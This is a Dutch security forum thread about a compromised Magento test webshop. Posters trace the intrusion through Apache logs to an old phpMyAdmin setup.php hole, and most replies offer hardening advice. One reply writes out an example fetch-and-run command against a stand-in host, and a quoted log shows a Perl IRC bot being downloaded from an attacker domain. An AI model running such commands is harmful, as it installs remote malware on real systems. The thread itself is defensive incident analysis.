- SSH niet op een standaard poort, password authentication disabled.
- SSH Toegang op het systeem met een RSA Key 1024+ bit
- Apache VirtualHost op localhost (127.0.0.1)
- Firewall instellen.
- rp_filter flag actief maken => sysctl -a | grep rp_filter (anti-address spoofing)
- Hierna een SSH tunnel trekken naar het remote systeem. Op deze manier kan je op je PC hiernaar surfen via http://localhost

Als deze database server op het internet staat, kan je via juiste firewall instellingen de database directly accessible maken over het internet naar een Fixed IP in het bedrijf (als je dit hebt).

25-11-2010, 17:47 door SirDice

Door backeroni:

Afhankelijk waar deze bestanden terecht komen is het mogelijk om dat via een command injection te doen. Zowel "dude" als "half.txt" zijn IRC shell bots geschreven in perl. In tegenstelling tot wat de meeste zullen denken heeft de www gebruiker voldoende rechten om deze uit te voeren. Een manier die ik wel eens gezien heb is om, middels een command injection, het volgende uit te laten voeren:

cd /tmp ; wget http://evil.example.com/badscript.txt ; perl badscript.txt

Zoals ik al zei is het feit dat het commando uberhaupt gegeven kan worden, en niet afgevangen is, het feitelijke lek.

Daar ben ik het ook helemaal mee eens.

Waar dat dan is gegeven haal ik helaas niet uit het bijgevoegde log maar ik betwijfel of dat PHPMyAdmin is.

Ik ook niet maar het is een bekend gegeven dat dit vaak via PHPMyAdmin gebeurd. Veelal omdat men 'vergeet' de config directory weg te gooien nadat de setup is gedaan.

25-11-2010, 17:54 door Anoniem

Door backeroni:
Wat ik dus graag zou willen weten is wat ervoor in het log staat, het lek is namelijk het feit dat de opdracht kon worden gegeven om de bestandjes te downloaden, niet het downloaden zelf.

^ Dit dus.. kun je nog een stukje logfile kunnen posten? Dan weten we tenminste zeker dat de oorzaak is gevonden.

25-11-2010, 18:17 door Anoniem

Dus vraag 1 van waar/wat uit is de opdracht gegeven de bestandjes te downloaden.
Vraag 2 in welke directory zijn ze terecht gekomen.

@Backeroni; ik kan daar geen zinnig woord over zeggen. Zoals je inmiddels gemerkt zult hebben, ben ik geen technische jongen. Onze host laat ons in de steek wat betreft advisering en begeleiding, dus helaas heb ik de verantwoordelijkheid om deze situatie onder controle te krijgen. Ik quote hieronder hetgeen hieraan vooraf ging. Misschien dat je hier iets uit op kunt maken?

Wat betreft de schrijf-rechten; Magento draait niet zonder dat er voor een aantal mappen de rechten volledig open staan.

[Tue Nov 23 00:37:17 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/w00tw00t.at.blackhats.romanian.anti-sec:)
[Tue Nov 23 00:37:18 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/3rdparty
[Tue Nov 23 00:37:19 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/PHPMYADMIN
[Tue Nov 23 00:37:22 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/PMA2005
[Tue Nov 23 00:37:23 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/SQL
[Tue Nov 23 00:37:24 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/SSLMySQLAdmin
... etc etc
[Tue Nov 23 00:37:42 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/php-my-admin
[Tue Nov 23 00:37:43 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/php-myadmin
[Tue Nov 23 00:37:47 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.2.6
[Tue Nov 23 00:37:47 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.1
[Tue Nov 23 00:37:48 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.4
[Tue Nov 23 00:37:49 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.5-pl1
...etc etc
[Tue Nov 23 00:38:29 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.8.2
[Tue Nov 23 00:38:29 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2
[Tue Nov 23 00:38:31 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin2
[Tue Nov 23 00:38:32 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpadmin
[Tue Nov 23 00:38:32 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpmanager
[Tue Nov 23 00:38:33 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpmy-admin
[Tue Nov 23 00:38:34 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpmya
...etc etc
[Tue Nov 23 00:38:47 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/websql
[Tue Nov 23 00:38:48 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/xampp
[Tue Nov 23 00:38:48 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/~
[Tue Nov 23 00:38:49 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/~
[Tue Nov 23 00:38:50 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/~
[Tue Nov 23 00:38:50 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/~
[Tue Nov 23 00:38:51 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/~
[Tue Nov 23 00:38:52 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/~
[Tue Nov 23 00:38:52 2010] [error] [client 124.207.164.225] Invalid URI in request GET :2086/3rdparty/phpMyAdmin/scripts/setup.php HTTP/1.1
[Tue Nov 23 00:38:53 2010] [error] [client 124.207.164.225] Invalid URI in request GET :2087/3rdparty/phpMyAdmin/scripts/setup.php HTTP/1.1
[Tue Nov 23 00:38:54 2010] [error] [client 124.207.164.225] Invalid URI in request GET :81/phpmyadmin/scripts/setup.php HTTP/1.1
--2010-11-23 01:42:10-- http://w00t.zxq.net/dude
Resolving w00t.zxq.net... 67.220.217.230
Connecting to w00t.zxq.net|67.220.217.230|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28992 (28K) [text/plain]
Saving to: `dude'

0K .......... .......... ........ 100% 60.9K=0.5s

Zou je misschien de naam van de webshop kunnen geven? Dan weet ik waar ik mijn persoonsgegevens NIET moet achterlaten. Sorry hoor, maar het hele verhaal komt erg amateuristisch over; bovendien erg kwalijk dat een bewezen lekke site opnieuw online gezet wordt.

Bedankt voor je "opbouwende" kritiek. Drie punten voor jou: (1) De webshop is nog niet live, we zitten in een testfase > oftewel we hebben geen enkele consument "exposed" en lossen dit op voordat de shop live gaat, (2) amateuristisch; tja.. we kunnen niet allemaal experts zijn op alle gebieden > waarom denk je dat ik hier om raad vraag? en (3) wees blij dat wij de log's controleren en ons hierin verdiepen! Ik heb vandaag nog gelezen dat een 50% van de websites geen tests uitvoert en niets controleert, 30% weet niet of er zich ooit een veiligheidsincident heeft voorgedaan. Dus 1 op de 2 websites houdt zich hier niet eens mee bezig!! met alle gevolgen van dien.. ik denk dat je heel erg graag bij onze webshop zult shoppen later in de wetenschap dat wij in ieder geval de moeite nemen om het veilig te maken voor de consument!

Bedankt voor alle feedback weer! ..keep 'm comin' ! :)

25-11-2010, 20:20 door backeroni

10 tegen 1 dat het gewoon in het access.log van apache staat.
Als je de tijd opzoekt van het andere log (2010-11-23 01:42:10) heb je het zo gevonden.

26-11-2010, 00:24 door dnmvisser

Met alleen apache logfiles en php kom je er niet.
Begin eens met Snoopy installeren:
http://sourceforge.net/projects/snoopylogger/files/

Hiermee log je alle commando's die uitgevoerd worden.
Als je dit combineert met apache en php logfiles dan kun je een heel eind komen met de analyse.

Nog een paar tips:

* Zet FTP uit
* Zet SSH aan, zonder wachtwoorden, alleen met keys.
* Rot PHPmyAdmin er vanaf, en haal een goede DB tool die via SSH werkt

Als je dit hebt gedaan heb je het probleem al beperkt tot alleen je app.

succes.

26-11-2010, 09:04 door Anoniem

Door /usr/local/dick: Met alleen apache logfiles en php kom je er niet.
* Zet SSH aan, zonder wachtwoorden, alleen met keys.

Je private SSH key moet je ook beschermen met een wachtwoord, je moet het dus niet zonder wachtwoorden doen.

De SSH2 server kun je zo instellen dat alleen keys geaccepteerd worden. Root login moet je ook onmogelijk maken (gebruik su om van gebruiker te wisselen). Zorg er bij voorkeur voor dat de SSH2 server op een niet stadaard poort draait en dat alleen jouw IP's toegang hebben. Sta alleen SSH2 toe.

26-11-2010, 09:23 door ej__

Naast alle andere tips: mod_security. :)

26-11-2010, 10:32 door Anoniem

Heren! (I doubt if there are any ladies :)

Ik heb de hele handel nog een keer doorgenomen en ik kom naar aanleiding van jullie adviezen en de mogelijkheden die ik heb, op het volgende uit:

1. Voor zover redelijkwijs bij te houden > zorgen dat alles up-to-date is (obvious)

2. Geen PHPMyAdmin installeren

3. Tools die lekjes in code kunnen vinden;
3 a. Nessus
3 b. Acunetix
3 c. Nikto

4. Logging;
4 a. Snoopylogger
4 b. PHP logging
4 c. Apache logging
4 d. SSH logging
4 e. 2e log bijhouden op andere server

5. Voor zover mogelijk, alle rechten folders limiteren. (Magento heeft sowieso enkele folders waar alles open MOET
staan)

6. Firewall;
6 a. Toegang voor alleen gespecificeerde ip-adressen
6 b. IP blocking na # failed attempts

7. FTP access uitschakelen (muv onze ip adressen)

8. SSH access uitschakelen (muv onze ip adressen)

9. Root login disabled (was al het geval)

10. MOD_security

11. Hardened PHP patch

12. Paar settings in php.ini
12 a. expose_php = Off
12 b. register_globals = Off
12 c. display_errors = Off
12 d. open_basedir = /var/www/html:/tmp
12 e. disable_functions = exec,passthru,shell_exec,system,proc_open,parse_ini_file,show_source

Zie ik dan nog zaken over het hoofd? Of kom ik hiermee wel een heel eind?

Overigens; ik heb gister een uitgebreidere versie van de log gepost > dacht dat het er niet door kwam, maar het moest nog even gechecked worden door de mods, dus nu staat het er 2x. Worden jullie daar nog iets wijzer van wat betreft de plaats waar de hackbot is binnen gekomen?

Is het ook niet mogelijk om in de firewall (of waar dan ook) een bepaalde instelling te zetten dat wanneer vanuit een bepaald ip-adres meerdere requests worden gedaan naar non-existing files / folders, dat het ip-adres in kwestie dan ook geblokkeerd wordt?

Nogmaals dank aan allen!

David

26-11-2010, 10:43 door Anoniem

en suhosin in php, en nog een flink aantal andere security verbeterende oplossingen.

Je geeft zelf al aan: je bent geen technische jongen. Dan wordt het absoluut zaak om een technische jongen te regelen, anders blijf je (vrees ik) bezig.

26-11-2010, 10:54 door SirDice

Ding dong... En zo zijn ze dus binnen gekomen:

[Tue Nov 23 00:38:54 2010] [error] [client 124.207.164.225] Invalid URI in request GET :81/phpmyadmin/scripts/setup.php HTTP/1.1
--2010-11-23 01:42:10-- http://w00t.zxq.net/dude
Resolving w00t.zxq.net... 67.220.217.230
Connecting to w00t.zxq.net|67.220.217.230|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28992 (28K) [text/plain]
Saving to: `dude'

0K .......... .......... ........ 100% 60.9K=0.5s

Zie http://www.securityfocus.com/bid/34236/info.

Zoals ik al zei, via PHPMyAdmin dus.

26-11-2010, 11:57 door Anoniem

David,

Gezien de minimale kennis van IT Security, zou ik zeggen zoek naar een security specialist welke je hele infrastructuur onderhanden kan nemen. Maar ook uitlegt waarom zo dat je meer achtergrond informatie krijgt. Het zal je wellicht wat kosten maar dan heb je ook wel. Wel grappig dat er pas weer als laatste aan Security word gedacht zo als gewoonlijk.

Stap 1: Bouw een tool
Stap 2: Zet deze op een test server
Stap 3: ohja Beveiliging niet gehacked
Stap 4: live.
Stap 5: shit, we zijn gehacked....

.......

Groetjes,
Robert.

26-11-2010, 17:00 door Anoniem

@david:

De beginner van het topic stelt duidelijk dat ze aan het testen zijn, beetje flauw om te zeggen dat er achteraf pas aan security gedacht wordt.

26-11-2010, 23:49 door backeroni

Door SirDice: Ding dong... En zo zijn ze dus binnen gekomen:

[Tue Nov 23 00:38:54 2010] [error] [client 124.207.164.225] Invalid URI in request GET :81/phpmyadmin/scripts/setup.php HTTP/1.1
--2010-11-23 01:42:10-- http://w00t.zxq.net/dude
Resolving w00t.zxq.net... 67.220.217.230
Connecting to w00t.zxq.net|67.220.217.230|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28992 (28K) [text/plain]
Saving to: `dude'

0K .......... .......... ........ 100% 60.9K=0.5s

Zie http://www.securityfocus.com/bid/34236/info.

Zoals ik al zei, via PHPMyAdmin dus.

Duidelijk...
Bleek dus wel degelijk uit het access log.
En tja die setup.php heb je verder toch niet nodig dus die kun je verwijderen.
Het was waarschijnlijk ook niet gebeurd wanneer de hele PHPMyAdmin directory beveiligd was met .htpasswd/.htaccess.
Hoef je helemaal met PHP geen remote bestanden op te halen dan is het zaak "allow_url_fopen" in je PHP config op off te zetten (die optie zag ik niet bij jouw php.ini settings) want daarmee kunnen er geen url's meer geopend worden.
Maar misschien staat die wel open om data uit dat ERP systeem, waar je het over had, te halen...
In dat geval zou je er voor kunnen kiezen de data door het ERP systeem te laten versturen i.p.v. PHP het te laten ophalen, tijd om een consultant van het ERP software bedrijf erbij te halen misschien...

27-11-2010, 14:23 door Anoniem

- phpMyAdmin lijkt me de hoofdverdachte, maar nog steeds zie ik geen bewijs uit de access log (alleen een script op zoek naar phpMyAdmin, een uur voordat de payload werd binnengehengeld). Kijk nu eens in je access log, om 2010-11-23 01:42:10 welteverstaan.

- Ik vraag me ten zeerste af hoe je host phpMyAdmin heeft geinstalleerd. De laatste (publieke) vulnerability lijkt al maanden oud, zeker als het "de" setup.php vuln betreft. Ga dit dus na (!).

Vervolgens kun je aan de hand van je hostingovereenkomst vast wel bepalen of dat je hoster niet aan zijn verplichten heeft voldaan, of dat je toch zelf iemand in moet huren met verstand van zaken. Ik lees hier sowieso een paar aardige suggesties:

- Limiteer access tot phpMyAdmin (en andere beheertools). IP-based, HTTP authentication, SSH tunnels naar localhost:80, er zijn mogelijkheden genoeg.

- Aangezien er een grote kans is dat er een (oudere) exploit is gebruikt: houd je spul up-to-date, in geval van phpMyAdmin zou het niet zijn gebeurd als men de distro package had geinstalleerd en je systeem up-to-date is. phpMyAdmin handmatig installeren kan ook, maar zorg dan dat je de release/security notifications ontvangt. Als je een overeenkomst hebt met de hoster om ook de rest van je systeem up-to-date te houden dan zou ik ook hiervoor vrezen als men het presteert een outdated versie van phpMyAdmin te installeren.

Je hoeft het uiteraard niet zelf te doen, maar zorg dat er iemand is met kennis van zaken. En zoek uit _waarom_ dit kon gebeuren (en waar kwam phpMyAdmin vandaan, versie, etc.)

Gehackt! > schuld host vs ontwikkelaar

Bitcoin:

Wachtwoord Vergeten

Password Reset

Registreren